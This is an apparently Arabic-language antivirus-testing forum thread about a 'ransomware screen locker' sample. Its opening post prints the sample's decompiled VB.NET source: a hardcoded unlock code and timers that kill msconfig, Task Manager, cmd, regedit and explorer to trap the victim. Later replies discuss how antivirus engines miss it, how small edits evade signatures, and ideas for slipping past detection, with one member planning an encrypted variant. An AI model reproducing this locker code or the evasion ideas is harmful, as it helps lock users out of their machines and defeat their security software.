• [ يمنع ] طرح أي موضوع يحوي على كراكات أو باتشات او كيجنات من غير فحصها عبر موقع فيروس توتال [ virustotal.com ] وطرح رابط الفحص ضِمن الموضوع.

رانسيوم وير screen locker

الحالة
مغلق و غير مفتوح للمزيد من الردود.
واضح جدا
لو كان التكست بوكس 1 =4991
وتكست بوكس 2 =3150
والتكست بوكس 3 = 7369
أقفل الفورم
ملحوظة me.close أعتبره عن نفسي من غباء اللغة
مجرد رأي



Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
If (((Me.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
= "4991") And (Me.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
= "3150")) And (Me.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
= "7369")) Then
Interaction.MsgBox("Ok", MsgBoxStyle.ApplicationModal, "Clé")
Me.Close
Else
Interaction.MsgBox("Erreur!", MsgBoxStyle.ApplicationModal, "Clé")
End If
End Sub


الزر الثاني يفتح هذة الصفحة

[hide]
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
[/hide]
[hide]
[hide]
Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs)
Process.Start("
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
")
End Sub




[/hide][/hide]




قتل عملية msconfig


[hide]



Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "msconfig") Then
process.Kill
ElseIf (process.ProcessName = "msconfig") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub
[/hide]

قتل التاسك مانيجر


[hide]


Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "Taskmgr") Then
process.Kill
ElseIf (process.ProcessName = "taskmgr") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub

[/hide]

قتل شاشة الدوس



[hide]




Private Sub Timer3_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "cmd") Then
process.Kill
ElseIf (process.ProcessName = "cmd") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub



[/hide]



قتل محرر الريجستري


[hide]



Private Sub Timer4_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "regedit") Then
process.Kill
ElseIf (process.ProcessName = "regedit") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub
[/hide]

قتل الإكسبلورر

[hide]




Private Sub Timer5_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "explorer") Then
process.Kill
ElseIf (process.ProcessName = "explorer") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub

[/hide]

العمل في وسط الشاشة

Me.StartPosition = FormStartPosition.CenterScreen



بس كدا
ياراجل عملت الي أحسن منه واتكسفت أطرحه في المنتدى
يقوم دا يوقع الكاسبر
يانهار أي فون
سبحان الله العبد لله بلاك 007 يقعد يشفر لحد ماعينة تطلع وفي الآخر الكاسبر يقفش ملفه
وشوية سورسات مالي بناخدهم فاعدادي يوقعو الكاسبح
ياوهووووي
بس أنا لاحظت أن برامج الحماية بتكون ضعيفة ضد الـSimple Malwares
 

التعديل الأخير:
توقيع : MagicianMiDo32
medo32 قال:
واضح جدا
لو كان التكست بوكس 1 =4991
وتكست بوكس 2 =3150
والتكست بوكس 3 = 7369
أقفل الفورم
ملحوظة me.close أعتبره عن نفسي من غباء اللغة
مجرد رأي



Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
If (((Me.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
= "4991") And (Me.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
= "3150")) And (Me.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
.
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
= "7369")) Then
Interaction.MsgBox("Ok", MsgBoxStyle.ApplicationModal, "Clé")
Me.Close
Else
Interaction.MsgBox("Erreur!", MsgBoxStyle.ApplicationModal, "Clé")
End If
End Sub


الزر الثاني يفتح هذة الصفحة

[hide]
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
[/hide]
[hide]
[hide]
Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs)
Process.Start("
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
")
End Sub




[/hide][/hide]




قتل عملية msconfig


[hide]



Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "msconfig") Then
process.Kill
ElseIf (process.ProcessName = "msconfig") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub
[/hide]

قتل التاسك مانيجر


[hide]


Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "Taskmgr") Then
process.Kill
ElseIf (process.ProcessName = "taskmgr") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub

[/hide]

قتل شاشة الدوس



[hide]




Private Sub Timer3_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "cmd") Then
process.Kill
ElseIf (process.ProcessName = "cmd") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub



[/hide]



قتل محرر الريجستري


[hide]



Private Sub Timer4_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "regedit") Then
process.Kill
ElseIf (process.ProcessName = "regedit") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub
[/hide]

قتل الإكسبلورر

[hide]




Private Sub Timer5_Tick(ByVal sender As Object, ByVal e As EventArgs)
Try
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "explorer") Then
process.Kill
ElseIf (process.ProcessName = "explorer") Then
process.Kill
End If
Next
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub

[/hide]

العمل في وسط الشاشة

Me.StartPosition = FormStartPosition.CenterScreen



بس كدا
ياراجل عملت الي أحسن منه واتكسفت أطرحه في المنتدى
يقوم دا يوقع الكاسبر
يانهار أي فون
سبحان الله العبد لله بلاك 007 يقعد يشفر لحد ماعينة تطلع وفي الآخر الكاسبر يقفش ملفه
وشوية سورسات مالي بناخدهم فاعدادي يوقعو الكاسبح
ياوهووووي
بس أنا لاحظت أن برامج الحماية بتكون ضعيفة ضد الـSimple Malwares
أنقر للتوسيع...

علشان كده قولت ياميدو فى اول رد لى

ان برمجته بسيطه وسهله

لكن ساقوم بصناعه واحد خاص بى

واقوم بتطويره كتغيير واضافه بعض اللمسات :vamp::vamp::vamp::vamp::vamp:
 
توقيع : black007
black007 قال:
علشان كده قولت ياميدو فى اول رد لى

ان برمجته بسيطه وسهله

لكن ساقوم بصناعه واحد خاص بى

واقوم بتطويره كتغيير واضافه بعض اللمسات :vamp::vamp::vamp::vamp::vamp:
أنقر للتوسيع...
بس والله ظلم يا أخي
أنا لو منك اولع ف شركة الكاسبر على صحابها
 
توقيع : MagicianMiDo32
medo32 قال:
بس والله ظلم يا أخي
أنا لو منك اولع ف شركة الكاسبر على صحابها
أنقر للتوسيع...

طيب كلامك جميل جدا ياميدو

اولا تعال نحلل مع بعض الاكواد الى انت كتبتها

وكيف يفهما الكاسبر

اولا الملف مبرمج باكواد بسيطه وهذا الذى منع الكاسبر فى الشك فى الملف من البدايه لانها اكواد شائعه ويمكن استخدامها فى اى برنامج عادى لقفل الشاشه بباس

لكن

اذا نظرنا الى باقى الاكواد التى كتبتها وهى القتل والتخطى هنا تحسب نقطه على الكاسبر وانه لم يستطع ان يتخذ الاجراء اللازم ضمن هذه الاكواد او انه حتى الان لا يعتبرها خبيثه

لا اعرف بالظبط سايسه الكاسبر مع كشفها للاكواد هل هو خبيث ام حميد

لكن تقدر تقول انها قامت بفهرسه الملفات التى تعمل على الجهاز والمجهوله وقامت بوضع المستويات الثلاث المعروفه

التقيد العالى - التقيد المتوسط - التقيد الضعيف

ومن خلال هذه التحكمات تقدر تحكم من خلالها على الملف

ربما هناك اشياء اخرى نجهالها عن الكاسبر وطريقه تفكيره واليه عمله لفهم الملفات لكنى مازلت اتعلم معكم واحاول اشاركم ما اصل اليه
 
توقيع : black007
البتد فيندر عند فك الضغط ........
eLQp8s.jpg
 
توقيع : أبو رمش
بس في قاعدة Gen في البتديفندر فيه اشتباه تواقيعي لأي ملف بيشتغل في السينترسكرين بصورة ويكون
always in top
دايماً بينكشف حتى جربها

المشكلة ان المحرك -\\ حاتكلم عن المحرك دلوقتي
بيتكون من أكتر من محرك! لكل امتداد ملفات محرك خاص به بيفحص لإمتداد دا لوحده
زي مثلا الفيديو له محرك
الوورد له محرك
الملفات المضغوطة لها محرك
حتى ملفات البات تلاقي التسمية مية مية والملف مكتشف
مثلاُ
BAt KilL AlL
وبمجرد انك تعدل على الكود ولو حتى حرف
حتى تحطله
echo Zyzoom
تلاقي سبحان الله معدشي مكتشف
دا ان دل على شيئ فانه يدل على المحرك بياخد نسخة بالكربون عن كود ملف البات
وعد ملفات البات الموجودة في العالم
معنى كدا أنك لو حطيت أكواد كل الملفات دي في توقيع واحد لكل كود أن حجم التحديثات حـ يزيد
لكن على فكرة مش كل البرامج شغالة كدا
بالنسبة للحماية الديناميكية
زي ماقولت
أنها بتبني تصنيفها للملف إن كان سليم او ملغم
مش بس على صلاحيات الملف أو سلوكياته
لكن كمان على طريقة تحطيمه في الذاكرة
زي لجانك كودز لي موجودة فيه
فممكن نلعب على النقطة التانية
أنك لوعملت مسار الإنزال مجلد البرامج
والإتصال بالنت بويس
اتوقع أنه حيتخطى برامج كتير
~
 
توقيع : MagicianMiDo32
كذا يعني ...
ruwbkd.jpg
 
توقيع : أبو رمش
السلام عليكم جميعا ورحمة الله وبركاته النورتون عند فك الضغط(y)(y)(y)

2014-11-07_041625.webp
 
medo32 قال:
بس والله ظلم يا أخي
أنا لو منك اولع ف شركة الكاسبر على صحابها
أنقر للتوسيع...


لا طبعاً يا ميدو - شركة الكاسبر شركة كبيرة و تكنولوجيا متقدمة و ذكية - الامر يعود بالخطأ على المستخدم -

الكاسبر لم و لن يكشف الملف مستقبلاً !!!

لماذا ؟؟؟؟؟؟؟؟
يتعامل برنامج الكاسبر مع Lock screen بشكل مختلف - لان اكواد غلق الشاشة اكواد غير خبيثة ( الكاسبر ذكي يتعامل مع سلوك و ليس اشتباهات تائهة )
و لكن في نفس الوقت لم يترك الكاسبر مستخدميه هكذا - فوضع لهم طريقة منع الغلق هذه في اعداداته - عن طريق الضغط على الازرار الاتية

CTRL+ALT+SHIFT+F4
الضغط على هذه الازرار في نفس الوقت و الشاشة مغلقة هكذا ببساطة ستجد الكاسبر فتح الشاشة و قام بحجز الملف بطريقة اوتوماتيك -

جربتها طبعاً

========================================

داخل اعدادات الــ System Watcher

2014-11-07_09h36_24.png
 
توقيع : hamede
black007 قال:
برمجه الملف بسيطه

ويمكن صناعه مثله ومتابع تجارب الاخوه لمعرفه النتيجه

اذا احب الجميع التغيير

ساقوم بصناعه واحد مثله ولكنه مشفر ;)

رائيكم
أنقر للتوسيع...
والله فكرة رائعة ننتظر ابداعك
 
hamede قال:
لا طبعاً يا ميدو - شركة الكاسبر شركة كبيرة و تكنولوجيا متقدمة و ذكية - الامر يعود بالخطأ على المستخدم -

الكاسبر لم و لن يكشف الملف مستقبلاً !!!

لماذا ؟؟؟؟؟؟؟؟
يتعامل برنامج الكاسبر مع Lock screen بشكل مختلف - لان اكواد غلق الشاشة اكواد غير خبيثة ( الكاسبر ذكي يتعامل مع سلوك و ليس اشتباهات تائهة )
و لكن في نفس الوقت لم يترك الكاسبر مستخدميه هكذا - فوضع لهم طريقة منع الغلق هذه في اعداداته - عن طريق الضغط على الازرار الاتية

CTRL+ALT+SHIFT+F4
الضغط على هذه الازرار في نفس الوقت و الشاشة مغلقة هكذا ببساطة ستجد الكاسبر فتح الشاشة و قام بحجز الملف بطريقة اوتوماتيك -

جربتها طبعاً

========================================

داخل اعدادات الــ System Watcher

2014-11-07_09h36_24.png
أنقر للتوسيع...


قمت بضغط الازرار الاربع فاختفى سطح المكتب عندي و اكتشف الكاسبر الملف في برنامج التحميل idman

ثم قام بالتنظيف العميف

بعد اعادة تمهيد اللاب عادت سطح المكتب للعمل من جديد

وكانت نتائج فحص الكاسبر :

قام بحجز idman في السجن :eek:

573764530.png



طلبت اخراجه بكفالة :D

شوفو سبب حجزه في السجن :rolleyes:

422193732.png
 
توقيع : كمال احمد
hamede قال:
لا طبعاً يا ميدو - شركة الكاسبر شركة كبيرة و تكنولوجيا متقدمة و ذكية - الامر يعود بالخطأ على المستخدم -

الكاسبر لم و لن يكشف الملف مستقبلاً !!!

لماذا ؟؟؟؟؟؟؟؟
يتعامل برنامج الكاسبر مع Lock screen بشكل مختلف - لان اكواد غلق الشاشة اكواد غير خبيثة ( الكاسبر ذكي يتعامل مع سلوك و ليس اشتباهات تائهة )
و لكن في نفس الوقت لم يترك الكاسبر مستخدميه هكذا - فوضع لهم طريقة منع الغلق هذه في اعداداته - عن طريق الضغط على الازرار الاتية

CTRL+ALT+SHIFT+F4
الضغط على هذه الازرار في نفس الوقت و الشاشة مغلقة هكذا ببساطة ستجد الكاسبر فتح الشاشة و قام بحجز الملف بطريقة اوتوماتيك -

جربتها طبعاً

========================================

داخل اعدادات الــ System Watcher

2014-11-07_09h36_24.png
أنقر للتوسيع...
مش مع التشفيرة دي لأنها مش بتقفل الشاشة
لأ بتقتل الاكسبلورر نفسه وتظهر مربع حواري لحذف قيمة الستارت اب عند كتابة الرقم السري
على العموم أنا مجربتش الكاسبر من زمان ومعرفش آلية عمل الـBSS لحماية الشاشة من الغلق
لو ممكن تشرحها لي أكون شاكر لك
 
توقيع : MagicianMiDo32
الحالة
مغلق و غير مفتوح للمزيد من الردود.
عودة
أعلى